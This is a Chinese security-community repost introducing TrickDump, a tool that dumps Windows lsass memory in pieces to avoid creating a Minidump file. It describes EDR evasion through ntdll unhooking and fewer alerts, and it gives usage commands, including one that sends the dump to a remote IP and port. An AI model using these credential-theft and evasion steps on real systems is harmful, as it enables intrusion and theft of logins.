点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
🌟简介
仅使用运行 3 个程序的 NTAPIS 转储 lsass 来创建 3 个 JSON 和 1 个 ZIP 文件...并稍后生成 Minidump!
TrickDump
TrickDump 转储 lsass 进程而不创建 Minidump 文件,而是生成 3 个 JSON 和 1 个包含内存区域转储的 ZIP 文件。分为三步:
-
Lock:使用 RtlGetVersion 获取操作系统信息。
-
Shock:使用 NtOpenProcessToken 和 NtAdjustPrivilegeToken 获取 SeDebugPrivilege 权限,使用 NtGetNextProcess 和 NtQueryInformationProcess 打开句柄,然后使用 NtQueryInformationProcess 和 NtReadVirtualMemory 获取模块信息。
-
Barrel:获取 SeDebugPrivilege 权限,打开句柄,然后使用 NtQueryVirtualMemory 和 NtReadVirtualMemory 获取信息并转储内存区域。
在攻击系统中,使用create_dump.py脚本生成Minidump文件:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
该技术的好处是:
-
磁盘、内存或网络流量中永远不存在有效的 Minidump 文件。
-
执行整个攻击的并不是一个单一的程序或进程,而是三个独立的程序或进程,因此可能引发较少的警告。
-
如果您只想运行一个程序,则可以使用Trick。
-
如果您已经掌握目标机器操作系统的信息,则可以跳过第一步(“锁定”)。
-
该程序仅使用 NTAPIS(该项目是NativeDump的变体)。
-
它不使用 OpenProcess 或 NtOpenProcess 来获取具有PROCESS_VM_OPERATION和PROCESS_VM_WRITE访问权限的 lsass 进程句柄。
-
每个程序都允许覆盖 ntdll.dll 库“.text”部分以绕过 API 挂钩:
-
“disk”:使用磁盘上已有的 DLL。如果不使用第二个参数,则路径为“C:WindowsSystem32ntdll.dll”。
-
“knowndlls”:使用 KnownDlls 文件夹。
-
“debugproc”:使用在调试模式下创建的进程。如果不使用第二个参数,则进程为“c:windowssystem32calc.exe”。
它有五种分支:
-
.NET:主分支
-
Python:python-flavour 分支
-
Golang:golang-flavour 分支
-
C/C++:c 风格分支
-
BOF 文件:bof-flavour 分支
如果启用了 PPL,它将不起作用,PEB 结构不可读或者二进制文件未编译为 64 位。更新:现在可以不读取 PEB 来执行程序,请检查peb-unreadable 分支
用法
该程序在受害系统中执行,创建三个 JSON 文件(包含内存区域信息)和一个 zip 文件(包含每个内存区域转储)。
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
您可以直接执行程序,而无需覆盖 ntdll.dll 库:
或者使用以下三种不同的覆盖技术之一:
然后生成Minidump文件:
多合一
如果您只想执行一个二进制文件,Trick.exe 将生成一个包含 3 个 JSON 文件的 ZIP 文件和带有内存区域的 ZIP 文件:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
您可以在本地创建 ZIP 文件,也可以选择使用 Ntdll 覆盖方法:
或者使用第二和第三个参数作为 IP 地址和端口将其发送到远程端口:
在这两种情况下,您都会得到一个像这样的 ZIP 文件,解压缩它并创建 Minidump 文件:
项目地址
https://github.com/ricardojoserf/TrickDump
原文始发于微信公众号(SecHub网络安全社区):不创建转储文件的情况下转储lsass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论